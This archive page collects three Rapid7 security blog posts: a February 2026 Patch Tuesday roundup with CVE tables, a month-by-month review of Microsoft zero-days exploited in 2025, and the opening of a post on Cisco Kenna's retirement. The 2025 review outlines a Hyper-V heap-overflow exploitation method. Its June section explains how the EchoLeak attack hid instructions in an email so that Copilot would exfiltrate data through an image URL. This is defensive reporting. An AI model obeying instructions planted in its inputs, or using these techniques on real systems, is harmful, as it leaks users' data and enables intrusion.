Tag Archives: Vulnerability management

Patch Tuesday – February 2026

Post Syndicated from Adam Barnett original https://www.rapid7.com/blog/post/em-patch-tuesday-february-2026

Microsoft is publishing 55 vulnerabilities this February 2026 Patch Tuesday. Microsoft is aware of exploitation in the wild for six of today’s vulnerabilities, and notes public disclosure for three of those. Earlier in the month, Microsoft provided patches to address three browser vulnerabilities, which are not included in the Patch Tuesday count above.

Windows/Office triple trouble: zero-day security feature bypass vulns

All three of the publicly disclosed zero-day vulnerabilities published today are security feature bypasses, and Microsoft acknowledges the same cast of reporters in each case.

CVE-2026-21510 describes a zero-day Windows Shell security feature bypass vulnerability which is already exploited in the wild. Not to be confused with PowerShell, most people will use the Windows Shell without ever learning its name or even really contemplating its existence. The Windows Shell is Microsoft’s term for the GUI interaction logic for the entire OS provided by explorer.exe and associated libraries and APIs.

CVE-2026-21510 provides an attacker with a way to dodge those pesky Smart Screen or other “are you sure?” prompts. The advisory sets out that “an attacker must convince a user to open a malicious link or shortcut file”. We could parse this wording more than one way, and while shortcut files with a .lnk extension are certainly a prime suspect here, it’s possible that .url files might also be a vector.

The venerable MSHTML/Trident web rendering engine is still present in Windows as a daily driver for Office and Explorer, many years after most people stopped using Internet Explorer.  Accordingly, every so often Microsoft has to patch another zero-day vulnerability in the browser it can’t quite bring itself to rip out of its flagship operating system. Today’s example is CVE-2026-21513, a security feature bypass which starts with the attacker convincing a user to open a malicious HTML file or shortcut file.

If good things come in threes, then perhaps CVE-2026-21514 makes security bypass zero-day vulnerabilities a good thing. Exploitation involves bypassing Object Linking & Embedding (OLE) mitigations by convincing the user to open a malicious Word document. The advisory only lists remediations for LTSC versions of Office and on-prem Microsoft 365 Apps for Enterprise, without mentioning the standard Microsoft 365 suite.

It’s curious that Microsoft has evaluated the attack vector for CVE-2026-21514 as local, because MSRC typically assesses any vulnerability which boils down to “remote attacker tricks user into opening malicious payload” as a remote attack, based on the location of the attacker. However, the advisory specifically calls out that “reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.” It’s not clear whether this is a deviation from prior practice by MSRC, an inadvertent mis-assessment, or an unusual-but-correct assessment of an attack vector that relies on details which Microsoft has not made public. Happily, the Preview Pane is not a vector, which raises the bar slightly for an attacker, since the user must explicitly open the malicious file or web page.

Ultimately, although none of the advisories for CVE-2026-21510, CVE-2026-21513, or CVE-2026-21514 explicitly come out and say it, it’s likely that exploitation in each case involves tricking Windows into participating in another Mark-of the Web laundering scheme using flaws in old components.

Windows DWM: zero-day elevation of privilege

For the second month in a row, the Windows Desktop Windows Manager (DWM) is the site of an exploited-in-the-wild zero-day vulnerability. Last month’s CVE-2026-20805 was an information disclosure vulnerability, effectively a treasure map for threat actors seeking the otherwise obfuscated in-memory address of the kernel-space DWM process. The publication of zero-day elevation of privilege (EoP) vulnerability CVE-2026-21519 today very likely reflects MSTIC and MSRC working to thwart the same threat actor in both cases. As Rapid7 has noted in the past, initial access coupled with local elevation of privilege vulnerabilities is the staple diet of many successful attackers, so the lower CVSS v3 base score of 7.8 seen here versus a broadly equivalent remote code execution is not a sign to delay patching.

Remote Desktop Services: zero-day elevation of privilege

Remote Desktop Services (RDP) are designed to allow a duly authorized remote user to interact with the server, but CVE-2026-21533 allows an unauthorized local user to elevate privileges to SYSTEM. Every Windows Server product back as far as Server 2012 receives patches, so this one has been present for a while. It’s possible that today’s patches close off a long-running exploitation story for at least one threat actor.

RasMan: zero-day denial of service

Exploited in the wild, but perhaps of less concern is CVE-2026-21525, a local denial of service vulnerability in the Windows Remote Access Connection Manager (RasMan). Somewhat unusually for a local vulnerability, the advisory sets out that no privileges are required at all, so even a guest account can exploit this one. You have disabled those guest accounts, right?

Microsoft lifecycle update

There are no significant Microsoft product lifecycle changes this month.

Summary Charts

A bar chart showing vulnerability count by component for Microsoft Patch Tuesday 2026-Feb
A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-Feb
A bar chart showing distribution of impact type by component for Microsoft Patch Tuesday 2026-Feb

Summary Tables

Apps vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-20841

Windows Notepad App Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8

Azure vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21512

Azure DevOps Server Cross-Site Scripting Vulnerability

Exploitation Less Likely

No

6.5

CVE-2026-21529

Azure HDInsight Spoofing Vulnerability

Exploitation Unlikely

No

5.7

CVE-2026-21528

Azure IoT Explorer Information Disclosure Vulnerability

Exploitation Unlikely

No

6.5

CVE-2026-21228

Azure Local Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.1

CVE-2026-21531

Azure SDK for Python Remote Code Execution Vulnerability

Exploitation Less Likely

No

9.8

CVE-2026-21522

Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability

Exploitation Less Likely

No

6.7

CVE-2026-23655

Microsoft ACI Confidential Containers Information Disclosure Vulnerability

Exploitation Less Likely

No

6.5

Developer Tools vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21218

.NET Spoofing Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-21523

GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.0

CVE-2026-21518

GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability

Exploitation Less Likely

No

6.5

CVE-2026-21257

GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability

Exploitation Less Likely

No

8.0

CVE-2026-21256

GitHub Copilot and Visual Studio Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8

ESU vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21519

Desktop Window Manager Elevation of Privilege Vulnerability

Exploitation Detected

No

7.8

CVE-2026-20846

GDI+ Denial of Service Vulnerability

Exploitation Less Likely

No

7.5

CVE-2026-21253

Mailslot File System Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.0

CVE-2026-21527

Microsoft Exchange Server Spoofing Vulnerability

Exploitation Less Likely

No

6.5

CVE-2026-21513

MSHTML Framework Security Feature Bypass Vulnerability

Exploitation Detected

Yes

8.8

CVE-2026-21236

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-21238

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-21234

Windows Connected Devices Platform Service Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0

CVE-2026-21246

Windows Graphics Component Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-21235

Windows Graphics Component Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.3

CVE-2026-21240

Windows HTTP.sys Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-21248

Windows Hyper-V Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.3

CVE-2026-21247

Windows Hyper-V Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.3

CVE-2026-21244

Windows Hyper-V Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.3

CVE-2026-21255

Windows Hyper-V Security Feature Bypass Vulnerability

Exploitation Less Likely

No

8.8

CVE-2026-21239

Windows Kernel Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-21231

Windows Kernel Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-21222

Windows Kernel Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-21249

Windows NTLM Spoofing Vulnerability

Exploitation Less Likely

No

3.3

CVE-2026-21525

Windows Remote Access Connection Manager Denial of Service Vulnerability

Exploitation Detected

No

6.2

CVE-2026-21533

Windows Remote Desktop Services Elevation of Privilege Vulnerability

Exploitation Detected

No

7.8

CVE-2026-21510

Windows Shell Security Feature Bypass Vulnerability

Exploitation Detected

Yes

8.8

CVE-2026-21508

Windows Storage Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-21242

Windows Subsystem for Linux Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-21237

Windows Subsystem for Linux Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

Microsoft Office vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21259

Microsoft Excel Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-21258

Microsoft Excel Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-21261

Microsoft Excel Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-21260

Microsoft Outlook Spoofing Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-21511

Microsoft Outlook Spoofing Vulnerability

Exploitation More Likely

No

7.5

CVE-2026-21514

Microsoft Word Security Feature Bypass Vulnerability

Exploitation Detected

Yes

7.8

Other vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21516

GitHub Copilot for Jetbrains Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8

Server Software vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21527

Microsoft Exchange Server Spoofing Vulnerability

Exploitation Less Likely

No

6.5

SQL Server vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21229

Power BI Remote Code Execution Vulnerability

Exploitation Unlikely

No

8.0

System Center vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21537

Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8

Windows vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21251

Cluster Client Failover (CCF) Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-21519

Desktop Window Manager Elevation of Privilege Vulnerability

Exploitation Detected

No

7.8

CVE-2026-20846

GDI+ Denial of Service Vulnerability

Exploitation Less Likely

No

7.5

CVE-2026-21253

Mailslot File System Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.0

CVE-2026-21513

MSHTML Framework Security Feature Bypass Vulnerability

Exploitation Detected

Yes

8.8

CVE-2023-2804

Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo

Exploitation Less Likely

No

6.5

CVE-2026-21236

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-21241

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.0

CVE-2026-21238

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-21517

Windows App for Mac Installer Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-21234

Windows Connected Devices Platform Service Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0

CVE-2026-21246

Windows Graphics Component Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-21235

Windows Graphics Component Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.3

CVE-2026-21250

Windows HTTP.sys Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-21240

Windows HTTP.sys Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-21232

Windows HTTP.sys Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-21248

Windows Hyper-V Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.3

CVE-2026-21247

Windows Hyper-V Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.3

CVE-2026-21244

Windows Hyper-V Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.3

CVE-2026-21255

Windows Hyper-V Security Feature Bypass Vulnerability

Exploitation Less Likely

No

8.8

CVE-2026-21245

Windows Kernel Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-21239

Windows Kernel Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-21231

Windows Kernel Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-21222

Windows Kernel Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-21243

Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-21249

Windows NTLM Spoofing Vulnerability

Exploitation Less Likely

No

3.3

CVE-2026-21525

Windows Remote Access Connection Manager Denial of Service Vulnerability

Exploitation Detected

No

6.2

CVE-2026-21533

Windows Remote Desktop Services Elevation of Privilege Vulnerability

Exploitation Detected

No

7.8

CVE-2026-21510

Windows Shell Security Feature Bypass Vulnerability

Exploitation Detected

Yes

8.8

CVE-2026-21508

Windows Storage Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-21242

Windows Subsystem for Linux Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-21237

Windows Subsystem for Linux Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

Zero-Day Vulnerabilities: Known Exploited

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21519

Desktop Window Manager Elevation of Privilege Vulnerability

Exploitation Detected

No

7.8

CVE-2026-21514

Microsoft Word Security Feature Bypass Vulnerability

Exploitation Detected

Yes

7.8

CVE-2026-21513

MSHTML Framework Security Feature Bypass Vulnerability

Exploitation Detected

Yes

8.8

CVE-2026-21525

Windows Remote Access Connection Manager Denial of Service Vulnerability

Exploitation Detected

No

6.2

CVE-2026-21533

Windows Remote Desktop Services Elevation of Privilege Vulnerability

Exploitation Detected

No

7.8

CVE-2026-21510

Windows Shell Security Feature Bypass Vulnerability

Exploitation Detected

Yes

8.8

Critical Remote Code Execution/Elevation of Privilege

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21531

Azure SDK for Python Remote Code Execution Vulnerability

Exploitation Less Likely

No

9.8

Patch Tuesday and the Enduring Challenge of Windows’ Backwards Compatibility

Post Syndicated from Adam Barnett original https://www.rapid7.com/blog/post/ve-patch-tuesday-windows-backwards-compatibility-challenge

Introduction

If you received an email with the subject “I LOVE YOU” and an attachment called “LOVE-LETTER-FOR-YOU.TXT”, would you open it? Probably not, but back in the year 2000, plenty of people did exactly that. The internet learned a hard lesson about the disproportionate power available to a university dropout with some VBScript skills, and millions of ordinary people suffered the anguish of deleted family photos or even reputational damage as the worm propagated itself across their entire Outlook address book.

In the quarter century since ILOVEYOU rampaged across global networks, cybersecurity has moved from a niche topic to an “everyone” problem, and many users are wary of all sorts of threats. In recent years, the increasing ubiquity and urgency of AI adoption across the business landscape has attracted the attention of both security researchers and threat actors.

Of course, recency bias and shiny object fixation are real. Even as AI and automation continue to drive down time to known exploitation (TTKE), an attacker who abuses a traditional exploit chain to achieve SYSTEM privileges on a sensitive server still has the keys to the kingdom.

Wormable remote code execution (RCE) vulnerabilities remain rare, but well over half of the 25 exploited-in-the-wild zero-day vulnerabilities published by Microsoft during 2025 provided attackers with elevation of privilege opportunities on Windows assets. Some of those flaws are older than the iPhone, let alone ChatGPT.

Microsoft’s decades-long commitment to backwards compatibility creates a conveyor belt supply of déjà vu vulnerabilities. Ultimately, the most pressing threats faced by defenders managing Microsoft estates remain essentially unchanged. Rather than a new wave of AI-related flaws, the chief danger stems from the towering tech debt within core Windows components.

A whirlwind tour of exploited-in-the-wild Microsoft vulnerabilities (2025 edition)

If we really want to know which Microsoft vulnerabilities will provide the most value to attackers in 2026, we should ask a threat actor. Since that might prove difficult to arrange, we’ll do the next best thing: review vulnerabilities exploited in the wild during 2025.

Chart-exploited-in-the-wild-eitw-microsoft-by-vulnerable-component-rapid7.png
Chart 1: Exploited-in-the-wild Microsoft vulnerabilities, by vulnerable component

January: The great escape

The vast Microsoft ecosystem has something for everyone, whether customer or threat actor. Patch Tuesday January 2025 brought us a trio of exploited-in-the-wild Hyper-V kernel vulnerabilities. By September 2025, at least one plausible public proof-of-concept (PoC) for CVE-2025-21333 was published by a vulnerability researcher who apparently shares a name with a Kazakhstani Olympic gymnast. The only safe assumption is that a well-resourced threat actor could develop a private exploit far in advance of that.

Starting from a child VM or Windows Sandbox, exploitation first requires setting out a banquet of benign requests for the hypervisor, delivered via the Hyper-V Virtualization Service Provider (VSP). The goal: mass-allocating objects to arrange large swathes of hypervisor memory in a predictable pattern (aka “heap feng shui”). Next, the attacker sends a malicious request with an oversized buffer, which an unpatched VSP merrily copies into kernel memory, overwriting the header of the adjacent object, whose relative position is now easily surmised. Once the kernel subsequently references the artfully corrupted sibling object, execution as SYSTEM jumps to a portion of memory where the attacker has planted shellcode to exfiltrate a token. The compromised hypervisor could be anything from a developer laptop running a malicious container all the way up to enterprise private cloud infrastructure.

So far, January 2025 is the only time that Microsoft has ever published vulnerabilities in the Hyper-V VSP. Generally speaking, a significant degree of sophistication is required to develop successful exploits of this nature. This goes double if the name of the game is stealth and stability, since a wave of unexplained BSOD events on critical production infrastructure tends to attract blue team attention. Still, once a viable proof of concept hits the public internet, ransomware crews will fold it into their toolkits, and someone, somewhere, is either sitting on an unknown Hyper-V VSP exploit, or hard at work creating the next one.

February: Socket to me

It’s hard to imagine a modern computer without storage or networking capabilities. In fact, it’s hard to imagine a computer from several decades ago without storage or networking. Microsoft is now middle-aged, and that means that buried deep within your shiny new PC are a variety of architectural decisions and logic paths born in the 1980s. If this sounds far-fetched, take a minute to find yourself a fully-patched Windows 11 25H2 machine, and then try to rename any file or directory CON, NUL or PRN. I’ll wait.

Generally speaking, user-mode applications are prevented from wreaking havoc on the kernel through a careful separation of concerns. On Windows, when a user mode application wants to communicate over the network, it talks to WinSock, which in turn talks to the ancillary function driver (AFD), which sits on the kernel side, and coordinates with the kernel network drivers which handle the actual traffic. The AFD is a security boundary between user space and kernel space, and it must be universally accessible to local processes, because even a browser tab in a sandbox needs to make network calls. Any defect in the way AFD parses input from user space can thus provide a way to influence the kernel in unexpected ways. A number of advanced exploit development courses, including offerings from SANS and OffSec, cover AFD in detail.

chart-Windows-AFD-vulnerabilities-timeline-rapid7.png
Chart 2: Windows AFD vulnerabilities timeline, 2021-2025

Patch Tuesday February 2025 brought us CVE-2025-21418, which Microsoft credited to Anonymous. We don’t know whether the unnamed tipster provided evidence of exploitation in the wild, or whether Microsoft threat hunters subsequently tracked down their own trail of suspicious bread crumbs, but notorious threat actors such as North Korea’s Lazarus are known to be enthusiastic students of AFD exploits. With several high-profile zero-day vulnerabilities emerging from AFD from late 2024 onwards, it tracks that Microsoft subsequently published and patched a cluster of AFD vulnerabilities in the latter half of 2025.

March: File system shenanigans

Any defenders who had enjoyed a quieter start to the year were rudely awakened by Patch Tuesday March 2025, when six exploited-in-the-wild vulnerabilities all dropped at once. Exploitation of most of the zero-day vulnerabilities published in March starts with the user mounting a malicious Virtual Hard Disk (VHD) image or plugging in a malicious USB stick so that the attacker can exploit a weakness in a filesystem driver, including NTFS and FastFAT.

Remember that information security training which asked you to imagine finding a USB stick with an “IMPORTANT (CONFIDENTIAL)” label on the floor outside the office? The one which asked if you would A) plug the mystery stick into your work PC B) use your boss’ personal laptop in case the files are business critical C) try it in all the PCs in the office until someone asks you to stop or D) report it immediately to the security officer? This is why.

Meanwhile, the true villain of the month was almost certainly CVE-2025-24983, a no-user-interaction-required elevation of privilege vulnerability in the Win32 kernel subsystem. At the time, we pondered why Windows 11 and Server 2019 onwards didn’t receive patches for what looks like a fairly severe vulnerability, but since Microsoft is gradually reimplementing portions of the kernel in memory-safe Rust, we can hope that the vulnerability simply doesn’t exist in modern Windows.

April: Common Log File System driver vulns are quite common

If anyone ever corners you at a party and talks at length about the Ancillary Function Driver as a bounteous source of elevation of privilege vulnerabilities, you will probably have to concede that they are technically correct. While your options include “doing a lap” and then climbing out of the bathroom window, the power move here is to hold your ground, and point to the Common Log File System driver as a far richer vein of exploitable goodness.

As of Patch Tuesday April 2025, CLFS boasts almost twice the number of total vulnerabilities over the past five years vs. AFD, and more than double the number of known-exploited zero-day vulnerabilities. It really is the gift which keeps on giving.

chart-windows-CLFS-vulnerabilities-timeline-rapid7.png
Windows CLFS vulnerabilities timeline, 2021-2025

It makes sense that something like the Ancillary Function Driver lives in kernel space. After all, something has to sit inside the perimeter to marshall all those network requests from dozens of Chrome tabs. What about the Common Log File System driver though?

It would be tempting to imagine that anything which simply handles log files shouldn’t need direct kernel access at all. When exploring this concept, it’s useful to understand that not only was CLFS designed a long time ago, when high performance in user mode was harder to achieve than it is today, but also that CLFS is much more than simply a means to interact with log files. CLFS is the home of still-essential building blocks like Transactional NTFS (TxF), first introduced almost 25 years ago in Windows Vista, which provides a means for applications to guarantee the integrity of data on disk.

For the past several years, Microsoft has strongly recommended that developers avoid the use of TxF, and while Microsoft is gradually providing modern alternatives to TxF functionality, essential Windows functions such as Windows Update still rely on it to manage critical file integrity. Moreover, CLFS is more than just TxF, and is so tightly integrated into Windows that it’s here to stay for the foreseeable future.

May: The month of expectation, wishes, hope, and classic Windows zero-days [1]

A few days after Patch Tuesday May 2025, Satya Nadella took to the stage at Microsoft Build 2025 to pitch his vision of the open agentic web, although exactly who this version of the future would be open to remains an open question, like: What if a cloud email service was vulnerable to a zero-click prompt injection attack, but could also now buy things with your credit card?

While critical reception for the open agentic web has been mixed, threat actors will be glad of the new attack surface. Meanwhile, defenders worried about in-the-wild exploitation were hard at work patching some more frequent fliers, including another pair of CLFS vulnerabilities and an MSHTML/Trident arbitrary code execution bug. That last one will be familiar to regular Patch Tuesday watchers, but it might come as a surprise to anyone who thought Internet Explorer had gone to live on a nice farm upstate years ago.

The Ancillary Function Driver made another appearance, although it couldn’t quite summon the same main character energy this time around. The May 2025 episode of “AFD vulns exploited in the wild” offered elevation to Administrator, rather than SYSTEM, and a lower exploit code maturity rating. We can always be grateful for small mercies.

[1]: With apologies to Emily Brontë.

June: I’m afraid I can’t let you do that, WebDAV

Windows archeologists and internet users of a certain age may remember WebDAV, a standard originally dreamed up to support interactivity on the web. It was employed by versions of Microsoft Exchange up to and including 2010 to handle interactions with mailboxes and public folders.

Surprising no-one, Windows still more or less supports WebDAV, and it was only a matter of time before that turned out to be a bit of a problem, in the form of CVE-2025-33053 published as part of Patch Tuesday June 2025. Microsoft acknowledged Check Point Research (CPR) on the advisory; CPR in turn attributes exploitation to an APT (Advanced Persistent Threat), which they track as the objectively cool-sounding Stealth Falcon, an established threat actor with a long-running interest in governments and government-adjacent entities across the Middle East and beyond.

June 2025 also saw the publication of CVE-2025-32711, a critical information disclosure vulnerability in Microsoft 365 Copilot. Microsoft is not aware of exploitation in the wild. The researchers named it EchoLeak, describing it as “the first real-world zero-click prompt injection exploit in a production LLM system,” although other researchers arguably got there first.

EchoLeak relies on hidden white-text-on-white-background instructions in an email, which are then ingested into the LLM via RAG (Retrieval-Augmented Generation) when the user asks an entirely pedestrian question (e.g. “Summarize my emails from the past two days”) which requires Copilot to scan the inbox. The malicious instructions have two parts: First, dig up some juicy info, and then retrieve an image from an attacker-controlled server with the sensitive data exfiltrated as a URL parameter.

EchoLeak circumvented Copilot’s Content Security Policy by making the request via a trusted Microsoft service: a now-patched Teams image preview proxy. History suggests that attackers will find other ways out of the walled garden. The Microsoft advisory makes a virtue of minimalism by providing almost no information about the nature of the vulnerability, although Microsoft is surely to be commended for assigning CVEs for cloud service vulnerabilities.

July: The call is coming from inside the intranet

When Patch Tuesday July 2025 came and went without a single exploited-in-the-wild vulnerability published, many people may have breathed a sigh of relief. Possibly this was a valid move, at least for anyone not responsible for a SharePoint instance.

SharePoint defenders will remember July as the month of ToolShell, an actively-exploited vulnerability chain in SharePoint which Microsoft published out of band ten days after Patch Tuesday. Out of band patches for Microsoft flagship products are rare, since they inevitably cause downstream disruption. Once MSTIC publicly attributes exploitation to two Chinese nation-state actors, that line has been crossed.

The vulnerability described by the out-of-band CVE-2025-53770 turned out to be a bypass for the patch introduced by CVE-2025-49704 earlier in the month, which was itself a response to a successful Pwn2Own Berlin entry from May.

August: It’s almost too quiet

Microsoft was not aware of exploitation in the wild for any of the vulnerabilities published as part of Patch Tuesday August 2025. SharePoint admins may have been dealing with the fallout from last month’s ToolShell and bracing for a possible repeat, but August might otherwise have made for an eerily quiet month. Still, the Windows implementation of Kerberos managed to cough up a publicly-disclosed elevate-to-domain-admin vulnerability.

Separately, we learned that simply saving a JPEG could be enough to hand an attacker RCE capabilities, because the internet never sleeps. If the vulnerable codepath had been within JPEG decoding, rather than encoding, this one could have been the biggest vuln of the year.

September: Almost too quiet, part 2

Patch Tuesday September 2025 was the second month in a row with no known-exploited vulnerabilities, but vuln spotters will appreciate that this month saw the publication of a fairly rare beast: a Microsoft vulnerability with a perfect(?) CVSS v3 base score of 10.0, albeit a cloud service vulnerability discovered by Microsoft and patched prior to publication. No customer action required, but also no customer verification possible, and since the impacted cloud service was Azure Networking, the blast radius could have been stupendous.

October: Dial M for exploitation

These days, there are plenty of seasoned IT professionals who don’t even know what a dialup modem negotiation song sounds like, simply because broadband has been around for that long. For younger readers, “broadband” is what we used to call “internet fast enough that you don’t have to wait to download a single email attachment”.

By this point, we all know where this is going: Windows still ships with modem capabilities well beyond their sell-by date, and someone found a good old elevation of privilege vulnerability. The vulnerable fax modem driver was developed almost 30 years ago by a long-defunct third party, and Microsoft has now taken uncharacteristically bold action by removing it from Windows altogether, perhaps recognizing that traditional landlines are no longer available at all in many places. Are there other fax modem drivers still lurking in Windows? You betcha.

Patch Tuesday October 2025 also marked the end of Windows 10, unless you count the cash-for-patches Extended Security Updates (ESU) program.

November: Kernel vuln? Popcorn time

Patch Tuesday November 2025 included an exploited-in-the-wild vulnerability in the Windows kernel itself. While the advisory was light with details, exploitation of CVE-2025-62215 led to elevation to SYSTEM, presumably via a complex bit of memory management three card monte. Those kernel Rust rewrites can’t come soon enough.

December: A cloud of suspicion

After a year filled with variations of the same old exploitable vulns, it might almost be refreshing to consider the altogether more modern-sounding exploited-in-the-wild vulnerability published on Patch Tuesday December 2025. CVE-2025-62221 describes an elevation of privilege vulnerability in the Windows Cloud Files Mini Filter Driver.

On Windows, a file or directory can contain a reparse point, a collection of user-controlled metadata designed to be interpreted by a file filter driver. An example would be a file which appears present in a local folder, but where the actual contents of the file are stored remotely on OneDrive. The user double-clicks on the file, the file filter driver intercepts the request, reads the metadata, and calls out to OneDrive, while the user gets the experience of opening the file as though it had been stored locally. Of course, the file filter driver needs kernel access to perform its duties. Find an exploitable flaw in the way a file filter driver parses the metadata, and you can trick it into doing things like overwriting protected system files.

What’s next?

Everything gets faster, including bad things

As Rapid7 has observed repeatedly, time to known exploitation for widely-exploited vulnerabilities has been shrinking year-on-year. By 2022, the time to exploitation after public disclosure for some of the most notable security vulnerabilities was as low as 24 hours. With exploit development now widely augmented by automation and AI, there is every reason to suppose that the window will continue to shrink further.

Threat actors will stay best friends with elevation of privilege vulns

A wormable unauthenticated RCE vulnerability remains the scariest scenario, but mercifully these are historically rare. The one-two combo of minimally-privileged initial access and local privilege escalation presents a much more clear and present danger in most modern threat models. Sure, you could parachute in from a helicopter, abseil down from the roof, and crawl through an air vent to steal the diamond, but why bother when you could simply tailgate a delivery driver, and then distract a maintenance worker while you swipe their all-access keycard?

AI is here to stay, but tech debt is the real killer

In 2026, Microsoft will regularly publish AI-related vulnerabilities, and AI-wielding threat actors will hammer Microsoft’s cloud services. Blue teams managing significant Windows estates will still spend more time worrying about on-prem vulnerabilities where the root cause is a classic software engineering snafu.

Final thoughts

Arguably the biggest takeaway from 2025 is that the more things change, the more they stay the same. The scariest Microsoft vulnerabilities tend to emerge from the same few familiar places: core Windows components with codebases older than many of the humans who rely on them.

Microsoft’s wildly successful business model is founded on a decades-long insistence on ironclad backwards compatibility. Why? Enterprise customers with deep pockets and deeper catalogues of ancient business applications. These retro capabilities come at a high price: a supervolcano of tech debt potentially unmatched in all of human history, and a seemingly endless supply of sort-of-new but depressingly familiar vulnerabilities.

For anyone responsible for defending a significant Microsoft footprint in 2026, tomorrow’s biggest problem remains today’s secrets exposed by yesterday’s software design choices.

The End of the Road for Cisco Kenna: Take a Measured Path into Exposure Management

Post Syndicated from Michael Chroney original https://www.rapid7.com/blog/post/em-eol-cisco-kenna-new-measured-path-into-exposure-management

Cisco’s announcement that it will sunset Cisco Vulnerability Management (Kenna) marks a clear inflection point for many security teams. With end-of-sale and end-of-life timelines now defined, and no replacement offering on the roadmap, Kenna customers face an unavoidable decision window. 

Beyond the practical need to replace a tool, Kenna’s exit raises a bigger question for security leaders: what should vulnerability management look like moving forward? 

Not just a tool change

For many organizations, Kenna wasn’t “just another scanner”. Before their acquisition by Cisco in 2021, Kenna Security helped pioneer a shift away from chasing raw CVSS scores and toward prioritization based on real-world risk, influencing how many teams approach risk-based vulnerability management. Security teams invested years building workflows, reporting, and executive trust around that model. 

That’s why this moment feels different. Replacing Kenna isn’t about checking a feature box, it’s about protecting the integrity of the progress teams have already made while using this moment to elevate programs past traditional vulnerability management.

Security leaders are rightly cautious. No one wants to: 

  • Rush into a short-term replacement vs. a platform that suits current and future needs

  • Trade proven prioritization for untested promises 

  • Disrupt remediation workflows that engineering teams finally trust 

At the same time, few teams believe traditional vulnerability management – isolated scanners, static scoring, endless ticket queues – is sufficient on its own anymore. 

So where does that leave you? 

“Risk-based vulnerability management is dead” doesn’t tell the full story

In response to Kenna’s end-of-life, much of the market has rushed to frame this as the end of risk-based vulnerability management (RBVM) altogether. The message is often loud and binary: RBVM is outdated, jump straight to exposure management.

In practice, that framing doesn’t match how security programs actually evolve. 

